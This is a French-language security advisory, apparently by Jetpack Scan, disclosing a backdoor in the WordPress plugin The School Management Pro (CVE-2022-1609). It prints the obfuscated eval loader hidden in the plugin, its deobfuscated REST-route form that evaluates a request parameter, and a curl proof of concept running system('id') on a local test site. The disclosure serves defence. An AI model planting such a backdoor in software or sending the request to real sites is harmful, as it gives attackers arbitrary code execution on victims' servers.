Porte dérobée trouvée dans le plugin The School Management Pro pour WordPress

Publié: 2022-05-20

Les versions antérieures à la 9.9.7 du plugin WordPress « The School Management Pro » de Weblizar contiennent une porte dérobée permettant à un attaquant non authentifié d'exécuter du code PHP arbitraire sur des sites sur lesquels le plugin est installé. Si une version antérieure est installée sur votre site, nous vous recommandons de passer immédiatement à la version 9.9.7 ou ultérieure. Il s'agit d'un problème de sécurité critique.

Lisez la suite pour tous les détails.

Des détails:

  • Nom du plugin : The School Management Pro
  • Plugin slug : school-management-pro , school-management-pro-9.9.6 , school-management-pro-9.9.5 , the-school-management , etc.
  • Vendeur : Weblizar
  • Versions concernées : < 9.9.7
  • CVE : CVE-2022-1609
  • Score CVSS : 10,0 (critique)
  • Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • WPVULNDB : https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2

Une partie du travail ici chez Jetpack Scan consiste à soutenir notre activité WordPress hébergée en vérifiant les fichiers suspects trouvés sur les sites que nous hébergeons. Cela est généralement dû au fait qu'un fichier est signalé par l'une de nos signatures ou que le propriétaire du site a trouvé quelque chose de suspect et souhaite notre avis. Comme c'est la nature des choses, parfois ces fichiers sont bénins, certains sont des faux positifs, et certains sont de nouvelles souches ou variantes de logiciels malveillants qui nécessitent plus de travail pour être classifiés correctement.

Parfois cependant, ce que nous obtenons est plus intéressant tous ensemble.

Il y a quelques semaines, un tel incident s'est produit. L'équipe d'assistance de WordPress.com nous a contactés à propos d'un code obfusqué, manifestement malveillant, trouvé dans un plugin sur plusieurs sites.

}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey

Après deux tours de désobscurcissement trivial, cela donne :

add_action( 'rest_api_init', function() {
        register_rest_route(
                'am-member', 'license',
                array(
                        'methods'  => WP_REST_Server::CREATABLE,
                        'callback' => function( $request ) {
                                $args = $request->get_params();
                                if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
                                        eval( $args['blowf'] );
                                }
                        },
                )
        );
} );

Le code lui-même n'est pas très intéressant : c'est une porte dérobée évidente injectée dans le code de vérification de licence du plugin. Il permet à tout attaquant d'exécuter du code PHP arbitraire sur le site avec le plugin installé, comme on peut le voir dans la preuve de concept ci-dessous :

$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713

C'est le genre de chose que nous voyons souvent dans les plugins annulés ; cela arrive si souvent que nous avons un cas similaire déjà traité dans un article précédent. Notre première hypothèse était que c'était également le cas ici; les propriétaires du site avaient installé un plugin à partir d'une source louche.

Cependant, nous avons été assurés que les plugins installés ont été reçus directement du fournisseur. Cela a également été rapidement confirmé par le fournisseur qui a supprimé le code incriminé après avoir été informé de sa présence.

Nous avons essayé d'obtenir plus d'informations auprès du fournisseur sur le moment où la porte dérobée a été injectée, sur les versions affectées et sur la manière dont le code s'est retrouvé dans le plugin en premier lieu. Cet effort a été infructueux, car le fournisseur dit qu'il ne sait pas quand ni comment le code est entré dans son logiciel.

Nous avons vu des versions au moins à partir de 8.9 qui contenaient la porte dérobée dans nos systèmes hébergés, mais comme nous n'avons aucune information claire sur le moment où la porte dérobée est apparue pour la première fois, nous devons supposer que toute version antérieure à la 9.9.7 est affectée.

La détection et l'alerte concernant le problème sont encore compliquées par le plugin fonctionnant sous un certain nombre de slugs différents, utilisant souvent des slugs contenant le numéro de version. Dans nos systèmes hébergés, nous avons vu au moins ces variantes :

  • school-management
  • school-management-v*
  • school-management-pro
  • school-management-pro-*
  • the-school-management

La version gratuite du référentiel de plugins WordPress.org ne contient pas le code de licence et n'est pas non plus affectée par cette porte dérobée.

Chronologie

04/05/2022 : L'équipe d'assistance de WordPress.com en escalade découvre le code injecté et contacte Jetpack Scan pour analyser et vérifier le résultat. Après avoir confirmé qu'il s'agit d'une porte dérobée, ils informent le fournisseur.

05/05/2022 : Le fournisseur confirme que le code injecté est bien dans sa distribution et nous fournit une version 9.9.7 où la porte dérobée est supprimée. Nous confirmons qu'il est propre.

2022-05-06 : Le fournisseur distribue activement la version 9.9.7 à ses clients et les encourage à mettre à jour.

10/05/2022 : le fournisseur a répondu à nos questions supplémentaires pour savoir s'il savait quand la porte dérobée a été ajoutée, mais affirme qu'il ne le sait pas. Ils ont fourni une version précédente, 9.9.4, qui incluait la porte dérobée.

Conclusion

Nous recommandons que tout site avec une version antérieure à 9.9.7 de The School Management Pro soit mis à niveau immédiatement.

Chez Jetpack, nous travaillons dur pour nous assurer que vos sites Web sont protégés contre ces types de vulnérabilités. Nous vous recommandons d'avoir un plan de sécurité pour votre site qui inclut l'analyse et la sauvegarde des fichiers malveillants. Jetpack Security est une excellente option de sécurité WordPress pour garantir la sécurité de votre site et de vos visiteurs.

Crédits

Cette recherche était une coopération entre l'équipe d'assistance renforcée de WordPress.com avec Nic Sevic, Thom Stackhouse et Joshua Goode, et Jetpack Scan avec Harald Eilertsen et Fioravante Cavallari. Merci également à Benedict Singer pour ses commentaires et ses corrections.